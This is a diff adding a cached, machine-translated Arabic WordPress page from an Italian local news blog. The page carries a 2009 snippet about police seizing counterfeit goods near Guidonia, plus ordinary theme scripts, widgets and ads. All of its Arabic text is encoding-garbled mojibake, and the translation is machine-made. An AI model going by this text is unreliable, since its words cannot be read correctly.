+++ /trunk/www.guidonia.net/wp/wp-content/gt-cache/ar/_wp__p=6289&lang=ar	(revision 44)
@@ -0,0 +1,240 @@
+<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns=http://www.w3.org/1999/xhtml lang=it-IT><head profile=http://gmpg.org/xfn/11><base href=http://www.guidonia.net/wp/?p=6289 /><meta http-equiv=Content-Type content="text/html; charset=UTF-8" /><title> ØºÙØ§Ø±Ø¯ÙØ§ Ø¯Ù ÙÙÙØ§ÙØ²Ø§. ØšØ¹Ø¯ Ø³ÙØ·Ø±ØªÙÙ
+ Ø¹ÙÙ Ø§ÙØ¹Ø§ØµÙ
+Ø© Ù
+Ù 3 Ù
+ÙÙÙÙ ÙØ·Ø¹Ø©... -- Ø§ÙØºØ±Øš -- GuidoniaPuntoNet (ÙÙØ¯ Ø§ÙØ¥Ø¹Ø¯Ø§Ø¯) </title><link rel=alternate type=application/rss+xml title="GuidoniaPuntoNet (ÙÙØ¯ Ø§ÙØ¥Ø¹Ø¯Ø§Ø¯) ØªØºØ°ÙØ© RSS" href=http://www.guidonia.net/wp/?feed=rss2 /><link rel=pingback href=http://www.guidonia.net/wp/xmlrpc.php /></head><body style=";text-align:right;direction:rtl" onload=""><iframe src="http://www.guidonia.net/wp/?p=6289&rurl=translate.google.com&lang=it&usg=ALkJrhhW1pftmtql44pzro32MHaYujEQZQ" width=0 height=0 frameborder=0 style="width:0px;height:0px;border:0px;"></iframe><script type=text/javascript src=http://www.guidonia.net/wp/wp-content/themes/facebook/js/switch.js></script><link rel=stylesheet href=http://www.guidonia.net/wp/wp-content/themes/facebook/style.css type=text/css media=screen /><link rel=stylesheet href=http://www.guidonia.net/wp/wp-content/themes/facebook/blue.css type=text/css media=screen title="Ø§ÙØªØ±Ø§Ø¶Ù" /><link rel=stylesheet href=http://www.guidonia.net/wp/wp-content/themes/facebook/pink.css type=text/css media=screen title="ÙØ±ÙÙÙÙ" /><link rel=stylesheet href=http://www.guidonia.net/wp/wp-content/themes/facebook/green.css type=text/css media=screen title="Ø£Ø®Ø¶Ø±" /><link rel=stylesheet href=http://www.guidonia.net/wp/wp-content/themes/facebook/purple.css type=text/css media=screen title="Ø§ÙØ£Ø±Ø¬ÙØ§ÙÙ" /><link rel=stylesheet href=http://www.guidonia.net/wp/wp-content/themes/facebook/red.css type=text/css media=screen title="Ø£Ø­Ù
+Ø±" /><link rel=stylesheet href=http://www.guidonia.net/wp/wp-content/themes/facebook/blue.css type=text/css media=screen title="Ø£Ø²Ø±Ù" /><link rel=alternate type=application/rss xml title="GuidoniaPuntoNet (Ø§ÙØªÙØ¯Ù
+) Ù &quot;ØºÙØ§Ø±Ø¯ÙØ§ Ø¯Ù ÙÙÙØ§ÙØ²Ø§. ØšØ¹Ø¯ Ø³ÙØ·Ø±ØªÙÙ
+ Ø¹ÙÙ Ø§ÙØ¹Ø§ØµÙ
+Ø© Ù
+Ù 3 Ù
+ÙÙÙÙ ÙØ·Ø¹Ø©... -- Ø§ÙØºØ±ØšÙØ© ØªØºØ°ÙØ© ØªØ¹ÙÙÙØ§Øª" href=http://www.guidonia.net/wp/?feed=rss2"><script type=text/javascript>
+		/* <![CDATA[ */
+
+			function move(index,to) {
+			 var list = document.getElementById('list');
+			 var total = list.options.length-1;
+			 if (index == -1) return false;
+			 if (to == +1 && index == total) return false;
+			 if (to == -1 && index == 0) return false;
+			 var items = new Array;
+			 var values = new Array;
+			 for (i = total; i >= 0; i--) {
+			  items[i] = list.options[i].text;
+			  values[i] = list.options[i].value;
+			 }
+			
+			 for (i = total; i >= 0; i--) {
+			  if (index == i) {
+			   list.options[i + to] = new Option(items[i],values[i + to], 0, 1);
+			   list.options[i] = new Option(items[i + to], values[i]);
+			   i--;
+			  } else {
+			   list.options[i] = new Option(items[i], values[i]);
+			  }
+			 }
+			
+			 list.focus();
+			}
+			
+			function submitForm() {
+			 var list = document.getElementById('list');
+			 var orderedlist = document.getElementById('orderedlist');
+			
+			 for (i = 0; i <= list.options.length-1; i++) {
+			  orderedlist.value += list.options[i].text;
+			  if (i != list.options.length-1) orderedlist.value += "|";
+			 }
+			 document.getElementById('sendform').submit();
+			}
+		/* ]]> */
+		</script><script type=text/javascript src=http://www.guidonia.net/wp/wp-includes/js/jquery/jquery.js?ver=1.3.2></script><script type=text/javascript src=http://www.guidonia.net/wp/wp-includes/js/comment-reply.js?ver=20090102></script><link rel=EditURI type=application/rsd+xml title="ØªØ­Ø¯ÙØ¯ Ù
+Ø±ÙØ² Ø§ÙÙØ§Ø¬ØŠ" href=http://www.guidonia.net/wp/xmlrpc.php?rsd /><link rel=wlwmanifest type=application/wlwmanifest+xml href=http://www.guidonia.net/wp/wp-includes/wlwmanifest.xml /><link rel=index title="GuidoniaPuntoNet (ÙÙØ¯ Ø§ÙØ¥Ø¹Ø¯Ø§Ø¯)" href=http://www.guidonia.net/wp /><link rel=start title="Guidonia ÙÙ WebTv" href=http://www.guidonia.net/wp/?p=8 /><link rel=prev title="ØºØ§Ø² ÙØ±ÙØ³Ø§ Ø ÙØšÙØ±Ø© Ù
+Ù Ø§ÙØ³ÙØ¹ Ø§ÙÙ
+ÙÙØ¯Ø© Ø¶ØšØ· 20 Ù
+ÙÙÙÙ Ø¯ÙÙØ§Ø± Ù-- Ø§ÙÙ Ø³ÙÙ 24 Ø§ÙØ±" href=http://www.guidonia.net/wp/?p=6288 /><link rel=next title="GUIDONIA : PAGANO Ø Ø§ÙØŽØ±ÙØ© Ø§ÙÙ
+ØªØ­Ø¯Ø© ÙÙØªÙÙ
+ÙØ© ÙØ¯Ø¹Ù Ø·Ø±Ù Ù
+Ø³Ø­ ÙÙÙ
+Ø®Ø§Ø·Ø± -- Ø§ÙÙ
+ØªÙØ§Ù
+Ù ÙÙØµØ­Ø§ÙØ© -- ÙÙØ§ÙØ© Ø§ÙØ§ÙØšØ§Ø¡ Ø§ÙÙØ·ÙÙØ©" href=http://www.guidonia.net/wp/?p=6286 /><meta name=generator content="WordPress 2.8" /><link rel=stylesheet href=http://www.guidonia.net/wp/wp-content/plugins/contact-form-7/stylesheet.css type=text/css /><link rel=stylesheet href=http://www.guidonia.net/wp/wp-content/plugins/lexi/css/lexi.css type=text/css media=screen /><script type=text/javascript src=http://www.guidonia.net/wp/wp-content/plugins/minimax/scripts/minimax.js></script><script type=text/javascript src=http://www.guidonia.net/wp/wp-content/plugins/tubepress/ui/players/tubepress.js></script><link rel=stylesheet href=http://www.guidonia.net/wp/wp-content/plugins/tubepress/ui/gallery/css/tubepress.css type=text/css /><link rel=stylesheet href=http://www.guidonia.net/wp/wp-content/plugins/tubepress/ui/widget/css/tubepress_widget.css type=text/css /><link rel=stylesheet href=http://www.guidonia.net/wp/wp-content/plugins/tubepress/ui/gallery/css/pagination.css type=text/css /><!-- Generated by Simple Tags 1.6.6 - http://wordpress.org/extend/plugins/simple-tags --><meta name=keywords content=Guidonia /></head><!--#wrapper:start--><div id=wrapper style=";text-align:right;direction:rtl"><!--#header:start--><div id=header style=";text-align:right;direction:rtl"><h1 style=";text-align:right;direction:rtl"> <span  > <a href="http://www.guidonia.net/wp?lang=ar" >GuidoniaPuntoNet (ÙÙØ¯ Ø§ÙØ¥Ø¹Ø¯Ø§Ø¯)</a></span> </h1><!--#navigation:start--><div id=navigation style=";text-align:right;direction:rtl"><ul style=";text-align:right;direction:rtl"><li style=";text-align:right;direction:rtl"> <span  > <a href="http://www.guidonia.net/wp?lang=ar" >Ù
+ÙØ²Ù</a></span> </li><li class="page_item page-item-2" style=";text-align:right;direction:rtl"> <span  > <a href="http://www.guidonia.net/wp?page_id=2&lang=ar" >Ø­ÙÙ</a></span> </li><li class="page_item page-item-6296" style=";text-align:right;direction:rtl"> <span  > <a href="http://www.guidonia.net/wp?page_id=6296&lang=ar" >Ø§ØªØµØ§ÙØ§Øª</a></span> </li></ul></div><!--#navigation:end--><!--#search:start--><div id=search style=";text-align:right;direction:rtl"><form method=get id=searchform action=http://www.guidonia.net/wp/ style=";text-align:right;direction:rtl"><input type=text value="" name=s id=s /><input type=submit id=searchsubmit value="ØšØ­Ø«" /></form></div><!--#search:end--></div><!--#header:end--><!--#content:start--><div id=content style=";text-align:right;direction:rtl"><div class=entry id=post-6289 style=";text-align:right;direction:rtl"><h2 style=";text-align:right;direction:rtl"> <span  > <a href="http://www.guidonia.net/wp?p=6289&lang=ar" >ØºÙØ§Ø±Ø¯ÙØ§ Ø¯Ù ÙÙÙØ§ÙØ²Ø§.</a></span> <span  > <a href="http://www.guidonia.net/wp?p=6289&lang=ar" >ØšØ¹Ø¯ Ø³ÙØ·Ø±ØªÙÙ
+ Ø¹ÙÙ Ø§ÙØ¹Ø§ØµÙ
+Ø© Ù
+Ù 3 Ù
+ÙÙÙÙ ÙØ·Ø¹Ø©... --</a> Ø¥Ù <a href="http://www.guidonia.net/wp?p=6289&lang=ar" >Ø§ÙØºØ±ØšÙØ©</a></span> </h2><p class=meta-header style=";text-align:right;direction:rtl"> <span  > ÙØ±Ø¯Øª ÙÙ 03 ÙÙÙÙÙ 2009 ÙÙ <a href="http://www.guidonia.net/wp?cat=1&lang=ar" >Guidonia Ø§ÙØ£Ø®ØšØ§Ø±</a> Ù
+Ù ÙØšÙ Ø§ÙØ§Ø¯Ø§Ø±Ø©</span> </p><table border=0 cellpadding=2 cellspacing=7 style="vertical-align:top;;text-align:right;direction:rtl"><tr><td width=80 align=center valign=top><font style=font-size:85%;font-family:arial,sans-serif></font></td><td valign=top class=j> <font style=font-size:85%;font-family:arial,sans-serif><br /></font> <div style="padding-top:0.8em;;text-align:right;direction:rtl"><img alt="" height=1 width=1 /></div><div class=lh style=";text-align:right;direction:rtl"><span  > <b><a href="http://news.google.com/news/url?fd=R&sa=T&url=http://www.loccidentale.it/articolo/guardia+di+finanza.+sequestrati+nella+capitale+3+milioni+di+pezzi+griffati..0074512&usg=AFQjCNGURDfe43JuXjzRjWk8TdHBipDuYw">ØºÙØ§Ø±Ø¯ÙØ§ Ø¯Ù ÙÙÙØ§ÙØ²Ø§.</a></b></span> <span  > <b><a href="http://news.google.com/news/url?fd=R&sa=T&url=http://www.loccidentale.it/articolo/guardia+di+finanza.+sequestrati+nella+capitale+3+milioni+di+pezzi+griffati..0074512&usg=AFQjCNGURDfe43JuXjzRjWk8TdHBipDuYw">ØšØ¹Ø¯ Ø³ÙØ·Ø±ØªÙÙ
+ Ø¹ÙÙ Ø§ÙØ¹Ø§ØµÙ
+Ø© Ù
+Ù 3 Ù
+ÙØ§ÙÙÙ ÙØ·Ø¹Ø©...</a></b></span> <br /> <span  > <font color=#6f6f6f><font size=-1><b>Ø§ÙØºØ±Øš</b></font></font></span> <br /> <span  > <font size=-1>Ù
+ÙØžÙ
+Ù Ø§ÙØ§Ø¹Ù
+Ø§Ù <b>Ø§ÙØµÙÙÙÙÙ...</b> ØªØ¹Ù
+Ù ÙÙ ÙÙØ³ Ø§ÙØ·Ø±ÙÙ ÙØªØ­Ø¯ÙØ¯ Ù
+ÙØ§Ù 17 Ù
+Ø³ØªÙØ¯Ø¹Ø§Øª ÙÙ Ø§ÙÙ
+ÙØ§Ø·Ù Ø§ÙØŽØ±ÙÙØ© ÙØ±ÙÙ
+Ø§ <b>Guidonia Montecelio....</b></font></span> <br /><font size=-1 class=p></font><br /> <span  > <a class=p href="http://news.google.it/news?pz=1&ned=it&ncl=d12lqNpW1bnRGHM"><font class=p size=-1><b>Ø§ÙÙ
+Ø²ÙØ¯ Â»</b></font></a></span> </div></td></tr></table><div class=meta-footer style=";text-align:right;direction:rtl"><ul style=";text-align:right;direction:rtl"></ul><div class=clear-left style=";text-align:right;direction:rtl"></div></div></div><!-- You can start editing here. --><div id=comments style=";text-align:right;direction:rtl"><!-- If comments are open, but there are no comments. --><div id=respond class=box style=";text-align:right;direction:rtl"><h3 style=";text-align:right;direction:rtl"> <span  > ØªØ±Ù Ø§ÙØ±Ø¯</span> </h3><div class=cancel-comment-reply style=";text-align:right;direction:rtl"> <span  > <a rel=nofollow id=cancel-comment-reply-link href="http://www.guidonia.net/wp?p=6289#respond style=display:none;&lang=ar" ><small>Ø§ÙÙØ± ÙØ¥ÙØºØ§Ø¡ Ø§ÙØ±Ø¯.</small></a></span> </div><form action=http://www.guidonia.net/wp/wp-comments-post.php method=post id=commentform style=";text-align:right;direction:rtl"><div style=";text-align:right;direction:rtl"> <span  > <label for=author><small>Ø§ÙØ§Ø³Ù
+ (Ù
+Ø·ÙÙØš)</small></label></span> <br /><input type=text name=author id=author value="" size=22 tabindex=1 aria-required=true /></div><div style=";text-align:right;direction:rtl"> <span  > <label for=email><small>Ø§ÙØšØ±ÙØ¯ (ÙÙ ØªÙØŽØ±) (Ù
+Ø·ÙÙØš)</small></label></span> <br /><input type=text name=email id=email value="" size=22 tabindex=2 aria-required=true /></div><div style=";text-align:right;direction:rtl"> <span  > <label for=url><small>Ù
+ÙÙØ¹</small></label></span> <br /><input type=text name=url id=url value="" size=22 tabindex=3 /></div><div style=";text-align:right;direction:rtl"><span  > <strong><small>XHTML : :</small></strong></span> <small><br /> <code>&lt;a href=&quot;&quot; title=&quot;&quot;&gt; &lt;abbr title=&quot;&quot;&gt; &lt;acronym title=&quot;&quot;&gt; &lt;b&gt; &lt;blockquote cite=&quot;&quot;&gt; &lt;cite&gt; &lt;code&gt; &lt;del datetime=&quot;&quot;&gt; &lt;em&gt; &lt;i&gt; &lt;q cite=&quot;&quot;&gt; &lt;strike&gt; &lt;strong&gt;</code></small> </div><p style=";text-align:right;direction:rtl"> <span  > <label for=comments><small>ØªØ¹ÙÙÙØ§Øª</small></label></span> <br /><textarea name=comment id=comment cols=50 rows=6 tabindex=4></textarea></p><p style=";text-align:right;direction:rtl"><input name=submit type=submit id=submit tabindex=5 value="ÙÙØ¯Ù
+ Ø§ÙØªØ¹ÙÙÙ" class=box /><input type=hidden name=comment_post_ID value=6289 id=comment_post_ID /><input type=hidden name=comment_parent id=comment_parent value=0 /></p></form></div></div></div><!--#content:end--><div id=sidebar style=";text-align:right;direction:rtl"><p id=switcher style=";text-align:right;direction:rtl"> <span  > <a href="http://www.guidonia.net/">Ø§ÙØ²Ø±ÙØ§Ø¡</a> <a href="http://www.guidonia.net/">ØšÙÙÙ</a> <a href="http://www.guidonia.net/">Ø§ÙØ£Ø®Ø¶Ø±</a> <a href="http://www.guidonia.net/">ØšÙØ±ØšÙ</a> <a href="http://www.guidonia.net/">Ø§ÙØ§Ø­Ù
+Ø±</a></span> </p><div class="about box" style=";text-align:right;direction:rtl"><h3 style=";text-align:right;direction:rtl"> <span  > Ù
+Ø¹ÙÙÙ
+Ø§Øª</span> </h3><p style=";text-align:right;direction:rtl"><script type=text/javascript src=http://www.guidonia.net/wp/wp-content/themes/facebook/scripts.js></script><center style=";text-align:right;direction:rtl"> <span  > <b>GuidoniaPuntoNet : Ø£ÙÙØ§Ø± ÙÙÙØš</b></span> <b><br /></b> <script type=text/javascript>showFlash("loop.swf");</script> <b><br /></b> <span  > <b>Ø§ÙØ£ÙÙØ§Ø± ØšØ­Ø«Ø§ Ø¹Ù Ø§ÙØªÙ
+ÙÙÙ : <a href=mailto:info@guidonia.net>Ø§ÙØ§ØªØµØ§Ù ØšÙØ§</a></b></span> </center></p><div class=clear style=";text-align:right;direction:rtl"></div></div><div class=feeds style=";text-align:right;direction:rtl"> <span  > ÙÙ
+ÙÙÙ Ø§ÙØšÙØ§Ø¡ aÄ¡Ä¡ornata Ø¹Ù Ø·Ø±ÙÙ <a href="http://www.guidonia.net/wp?feed=rss2&lang=ar" >Ø¢Ø± Ø¥Ø³ Ø¥Ø³.</a></span> </div><div class=col style=";text-align:right;direction:rtl"><div class=box style=";text-align:right;direction:rtl"><h3 style=";text-align:right;direction:rtl"> <span  > Ø£ØŽØ±Ø·Ø© ÙÙØ¯ÙÙ Ø¹Ù Guidonia</span> </h3><div class=tubepress_thumb_widget style=";text-align:right;direction:rtl"><div class=tubepress_video_thumb_inner style=";text-align:right;direction:rtl"> <a href="http://www.guidonia.net/wp?p=6289# onclick=&lang=ar" tubePress_popup('http://www.guidonia.net/wp/wp-content/plugins/tubepress/ui/players/popup.php?id=z32gTXwZyq0&amp;opts=r%3D%3Ba%3D%3Bl%3D%3Bg%3D%3Bb%3D1%3Bid%3Dz32gTXwZyq0%3Bw%3D425%3Bh%3D355%3Bq%3Dnormal%3Bf%3D1%3Bc1%3D999999%3Bc2%3DFFFFFF%3Bsi%3D1', 355, 425);""><img alt="Ù
+Ø±ÙØ² Mansarda Guidonia" src=http://i.ytimg.com/vi/z32gTXwZyq0/2.jpg width=120 height=90 /></a> <div class=tubepress_meta_group style=";text-align:right;direction:rtl"><br /> <span  > Ù
+Ø±ÙØ² GUIDONIA Ø Ø§ÙØ¥Ø¹ÙØ§ÙÙØ©.</span> <span  > ÙÙØ§ÙÙ Ø±ÙÙ
+Ø§ ÙÙ
+Ø­Ø·Ø© Ø³ÙØ© Ø­Ø¯ÙØ¯...</span> </div><!-- tubepress_meta_group --></div><!-- tubepress_video_thumb_inner --></div><!-- tubepress_thumb --><div class=tubepress_thumb_widget style=";text-align:right;direction:rtl"><div class=tubepress_video_thumb_inner style=";text-align:right;direction:rtl"> <a href="http://www.guidonia.net/wp?p=6289# onclick=&lang=ar" tubePress_popup('http://www.guidonia.net/wp/wp-content/plugins/tubepress/ui/players/popup.php?id=sg72_I89PV8&amp;opts=r%3D%3Ba%3D%3Bl%3D%3Bg%3D%3Bb%3D1%3Bid%3Dsg72_I89PV8%3Bw%3D425%3Bh%3D355%3Bq%3Dnormal%3Bf%3D1%3Bc1%3D999999%3Bc2%3DFFFFFF%3Bsi%3D1', 355, 425);""><img alt="ÙØ§ØšØ±ÙØ²ÙÙ Ù
+ÙØ±Ù -- ÙÙÙ
+Ø§Øª ÙØ§ØµÙØ§Øª Ø£ÙØ§Ù
+ -- ÙØ§ÙÙ @ Guidonia" src=http://i.ytimg.com/vi/sg72_I89PV8/3.jpg width=120 height=90 /></a> <div class=tubepress_meta_group style=";text-align:right;direction:rtl"><br /> <span  > ÙØ·Ø¹Ø© Ù
+Ù Ø§ÙØ­ÙÙ Ø§ÙØ£Ø³Ø·ÙØ±Ù Ù
+Ù Guidonia Ù
+ÙØ±Ù...</span> </div><!-- tubepress_meta_group --></div><!-- tubepress_video_thumb_inner --></div><!-- tubepress_thumb --><div class=tubepress_thumb_widget style=";text-align:right;direction:rtl"><div class=tubepress_video_thumb_inner style=";text-align:right;direction:rtl"> <a href="http://www.guidonia.net/wp?p=6289# onclick=&lang=ar" tubePress_popup('http://www.guidonia.net/wp/wp-content/plugins/tubepress/ui/players/popup.php?id=-8DgBuwxENM&amp;opts=r%3D%3Ba%3D%3Bl%3D%3Bg%3D%3Bb%3D1%3Bid%3D-8DgBuwxENM%3Bw%3D425%3Bh%3D355%3Bq%3Dnormal%3Bf%3D1%3Bc1%3D999999%3Bc2%3DFFFFFF%3Bsi%3D1', 355, 425);""><img alt="ÙØ§ØšØ±ÙØ²ÙÙ Ù
+ÙØ±Ù -- Ø§ÙØ­Ø± -- ÙØ§ÙÙ @ Guidonia" src=http://i.ytimg.com/vi/-8DgBuwxENM/default.jpg width=120 height=90 /></a> <div class=tubepress_meta_group style=";text-align:right;direction:rtl"><br /> <span  > ÙØ·Ø¹Ø© Ù
+Ù Ø§ÙØ­ÙÙ Ø§ÙØ£Ø³Ø·ÙØ±Ù Ù
+Ù Guidonia Ù
+ÙØ±Ù...</span> </div><!-- tubepress_meta_group --></div><!-- tubepress_video_thumb_inner --></div><!-- tubepress_thumb --><div class=tubepress_thumb_widget style=";text-align:right;direction:rtl"><div class=tubepress_video_thumb_inner style=";text-align:right;direction:rtl"> <a href="http://www.guidonia.net/wp?p=6289# onclick=&lang=ar" tubePress_popup('http://www.guidonia.net/wp/wp-content/plugins/tubepress/ui/players/popup.php?id=tvOS-jqwMDE&amp;opts=r%3D%3Ba%3D%3Bl%3D%3Bg%3D%3Bb%3D1%3Bid%3DtvOS-jqwMDE%3Bw%3D425%3Bh%3D355%3Bq%3Dnormal%3Bf%3D1%3Bc1%3D999999%3Bc2%3DFFFFFF%3Bsi%3D1', 355, 425);""><img alt="ÙØ§ØšØ±ÙØ²ÙÙ Ù
+ÙØ±Ù -- Ù
+Ø¹ÙÙ ÙÙ ØŽÙØ¡ -- ÙØ§ÙÙ @ Guidonia" src=http://i.ytimg.com/vi/tvOS-jqwMDE/hqdefault.jpg width=120 height=90 /></a> <div class=tubepress_meta_group style=";text-align:right;direction:rtl"><br /> <span  > ÙØ·Ø¹Ø© Ù
+Ù Ø§ÙØ­ÙÙ Ø§ÙØ£Ø³Ø·ÙØ±Ù Ù
+Ù Guidonia Ù
+ÙØ±Ù...</span> </div><!-- tubepress_meta_group --></div><!-- tubepress_video_thumb_inner --></div><!-- tubepress_thumb --><div class=tubepress_thumb_widget style=";text-align:right;direction:rtl"><div class=tubepress_video_thumb_inner style=";text-align:right;direction:rtl"> <a href="http://www.guidonia.net/wp?p=6289# onclick=&lang=ar" tubePress_popup('http://www.guidonia.net/wp/wp-content/plugins/tubepress/ui/players/popup.php?id=0QhDp2EJqlU&amp;opts=r%3D%3Ba%3D%3Bl%3D%3Bg%3D%3Bb%3D1%3Bid%3D0QhDp2EJqlU%3Bw%3D425%3Bh%3D355%3Bq%3Dnormal%3Bf%3D1%3Bc1%3D999999%3Bc2%3DFFFFFF%3Bsi%3D1', 355, 425);""><img alt="ÙØ§ØšØ±ÙØ²ÙÙ Ù
+ÙØ±Ù -- Ø¹Ø¯Ù
+ Ø§Ø³ØªÙØ±Ø§Ø¯ -- ÙØ§ÙÙ @ Guidonia" src=http://i.ytimg.com/vi/0QhDp2EJqlU/hqdefault.jpg width=120 height=90 /></a> <div class=tubepress_meta_group style=";text-align:right;direction:rtl"><br /> <span  > ÙØ·Ø¹Ø© Ù
+Ù Ø§ÙØ­ÙÙ Ø§ÙØ£Ø³Ø·ÙØ±Ù Ù
+Ù Guidonia Ù
+ÙØ±Ù...</span> </div><!-- tubepress_meta_group --></div><!-- tubepress_video_thumb_inner --></div><!-- tubepress_thumb --></div><div class=box style=";text-align:right;direction:rtl"><h3 style=";text-align:right;direction:rtl"> <span  > Ù
+ØšÙØš</span> </h3><div class=textwidget style=";text-align:right;direction:rtl"><script type=text/javascript><!--
+google_ad_client = "pub-9331412477710099";
+/* 120x90, creato 24/05/09 */
+google_ad_slot = "4202309166";
+google_ad_width = 120;
+google_ad_height = 90;
+//-->
+</script><script type=text/javascript src=http://pagead2.googlesyndication.com/pagead/show_ads.js>
+</script></div></div><div class=box style=";text-align:right;direction:rtl"><h3 style=";text-align:right;direction:rtl"></h3><div id=calendar_wrap style=";text-align:right;direction:rtl"><table id=wp-calendar summary=Calendario style=";text-align:right;direction:rtl"><caption> <span  > ØªÙ
+ÙØ² : 2009</span> </caption><thead><tr><th abbr="lunedÃ¬" scope=col title="Ø§ÙØ§Ø«ÙÙÙ"> <span  > ÙØ§Ù
+</span> </th><th abbr="martedÃ¬" scope=col title="Ø§ÙØ«ÙØ§Ø«Ø§Ø¡"> <span  > Ù
+</span> </th><th abbr="mercoledÃ¬" scope=col title="Ø§ÙØ£Ø±ØšØ¹Ø§Ø¡"> <span  > Ù
+</span> </th><th abbr="giovedÃ¬" scope=col title="Ø§ÙØ®Ù
+ÙØ³"> <span  > Ø¹</span> </th><th abbr="venerdÃ¬" scope=col title="Ø¬Ù
+Ø¹Ø©"> <span  > Ø§ÙØ®Ø§Ù
+Ø³</span> </th><th abbr=sabato scope=col title="Ø§ÙØ³ØšØª"> <span  > Ø¯Ø¥</span> </th><th abbr=domenica scope=col title="Ø§ÙØ£Ø­Ø¯"> <span  > Ù
+Ø¯</span> </th></tr></thead><tfoot><tr><td abbr=giugno colspan=3 id=prev> <span  > <a href="http://www.guidonia.net/wp?m=200906&lang=ar" >Â«ÙÙÙÙÙ</a></span> </td><td class=pad></td><td colspan=3 id=next class=pad></td></tr></tfoot><tbody><tr><td colspan=2 class=pad></td><td> <span  > 1</span> </td><td> <span  > <a href="http://www.guidonia.net/wp?m=20090702&lang=ar" >2</a></span> </td><td> <span  > <a href="http://www.guidonia.net/wp?m=20090703&lang=ar" >3</a></span> </td><td> <span  > <a href="http://www.guidonia.net/wp?m=20090704&lang=ar" >4</a></span> </td><td id=today> <span  > 5</span> </td></tr><tr><td> <span  > 6</span> </td><td> <span  > 7</span> </td><td> <span  > 8</span> </td><td> <span  > 9</span> </td><td> <span  > 10</span> </td><td> <span  > 11</span> </td><td> <span  > 12</span> </td></tr><tr><td> <span  > 13</span> </td><td> <span  > 14</span> </td><td> <span  > 15</span> </td><td> <span  > 16</span> </td><td> <span  > 17</span> </td><td> <span  > 18</span> </td><td> <span  > 19</span> </td></tr><tr><td> <span  > 20</span> </td><td> <span  > 21</span> </td><td> <span  > 22</span> </td><td> <span  > 23</span> </td><td> <span  > 24</span> </td><td> <span  > 25</span> </td><td> <span  > 26</span> </td></tr><tr><td> <span  > 27</span> </td><td> <span  > 28</span> </td><td> <span  > 29</span> </td><td> <span  > 30</span> </td><td> <span  > 31</span> </td><td class=pad colspan=2></td></tr></tbody></table></div></div></div><div class=col2 style=";text-align:right;direction:rtl"><div class=box style=";text-align:right;direction:rtl"><h3 style=";text-align:right;direction:rtl"> <span  > Ø§ÙÙ
+ØªØ±Ø¬Ù
+</span> </h3>
+<!--FLAG_BAR_BEGIN--><div id="translation_bar"><a id='flag_it' href='http://www.guidonia.net/wp/?p=6289' hreflang='it' ><img id='flag_img_it' src='http://www.guidonia.net/wp/wp-content/plugins/global-translator/flag_it.png' alt='Italiano flag' title='Italiano'  border='0' /></a><a id='flag_ar' href='http://www.guidonia.net/wp/?p=6289&lang=ar' hreflang='ar' ><img id='flag_img_ar' src='http://www.guidonia.net/wp/wp-content/plugins/global-translator/flag_ar.png' alt='Arabo flag' title='Arabo'  border='0' /></a><a id='flag_ca' href='http://www.guidonia.net/wp/?p=6289&lang=ca' hreflang='ca' ><img id='flag_img_ca' src='http://www.guidonia.net/wp/wp-content/plugins/global-translator/flag_ca.png' alt='Catalano flag' title='Catalano'  border='0' /></a><a id='flag_zh-CN' href='http://www.guidonia.net/wp/?p=6289&lang=zh-CN' hreflang='zh-CN' ><img id='flag_img_zh-CN' src='http://www.guidonia.net/wp/wp-content/plugins/global-translator/flag_zh-CN.png' alt='Cinese (Semplificato) flag' title='Cinese (Semplificato)'  border='0' /></a><a id='flag_en' href='http://www.guidonia.net/wp/?p=6289&lang=en' hreflang='en' ><img id='flag_img_en' src='http://www.guidonia.net/wp/wp-content/plugins/global-translator/flag_en.png' alt='Inglese flag' title='Inglese'  border='0' /></a><a id='flag_fr' href='http://www.guidonia.net/wp/?p=6289&lang=fr' hreflang='fr' ><img id='flag_img_fr' src='http://www.guidonia.net/wp/wp-content/plugins/global-translator/flag_fr.png' alt='Francese flag' title='Francese'  border='0' /></a><a id='flag_de' href='http://www.guidonia.net/wp/?p=6289&lang=de' hreflang='de' ><img id='flag_img_de' src='http://www.guidonia.net/wp/wp-content/plugins/global-translator/flag_de.png' alt='Tedesco flag' title='Tedesco'  border='0' /></a><a id='flag_el' href='http://www.guidonia.net/wp/?p=6289&lang=el' hreflang='el' ><img id='flag_img_el' src='http://www.guidonia.net/wp/wp-content/plugins/global-translator/flag_el.png' alt='Greco flag' title='Greco'  border='0' /></a><a id='flag_pt' href='http://www.guidonia.net/wp/?p=6289&lang=pt' hreflang='pt' ><img id='flag_img_pt' src='http://www.guidonia.net/wp/wp-content/plugins/global-translator/flag_pt.png' alt='Portoghese flag' title='Portoghese'  border='0' /></a><a id='flag_ro' href='http://www.guidonia.net/wp/?p=6289&lang=ro' hreflang='ro' ><img id='flag_img_ro' src='http://www.guidonia.net/wp/wp-content/plugins/global-translator/flag_ro.png' alt='Rumeno flag' title='Rumeno'  border='0' /></a><a id='flag_ru' href='http://www.guidonia.net/wp/?p=6289&lang=ru' hreflang='ru' ><img id='flag_img_ru' src='http://www.guidonia.net/wp/wp-content/plugins/global-translator/flag_ru.png' alt='Russo flag' title='Russo'  border='0' /></a><a id='flag_es' href='http://www.guidonia.net/wp/?p=6289&lang=es' hreflang='es' ><img id='flag_img_es' src='http://www.guidonia.net/wp/wp-content/plugins/global-translator/flag_es.png' alt='Spagnolo flag' title='Spagnolo'  border='0' /></a><a id='flag_sv' href='http://www.guidonia.net/wp/?p=6289&lang=sv' hreflang='sv' ><img id='flag_img_sv' src='http://www.guidonia.net/wp/wp-content/plugins/global-translator/flag_sv.png' alt='Svedese flag' title='Svedese'  border='0' /></a><a id='flag_sq' href='http://www.guidonia.net/wp/?p=6289&lang=sq' hreflang='sq' ><img id='flag_img_sq' src='http://www.guidonia.net/wp/wp-content/plugins/global-translator/flag_sq.png' alt='Albanese flag' title='Albanese'  border='0' /></a><div id="transl_sign"></div></div><!--FLAG_BAR_END-->
+</div><div class=box style=";text-align:right;direction:rtl"><h3 style=";text-align:right;direction:rtl"> <a class=rsswidget href=http://www.liquida.it/guidonia.feed title="Ø¹ÙÙ ÙØ°Ø§ Ø§ÙÙ
+Ø­ØªÙÙ"><img style=background:orange;color:white;border:none; width=14 height=14 src=http://www.guidonia.net/wp/wp-includes/images/rss.png alt="RSS" /></a> <span  > <a class=rsswidget href="http://www.guidonia.net/wp?p=6289&lang=ar" >Ù
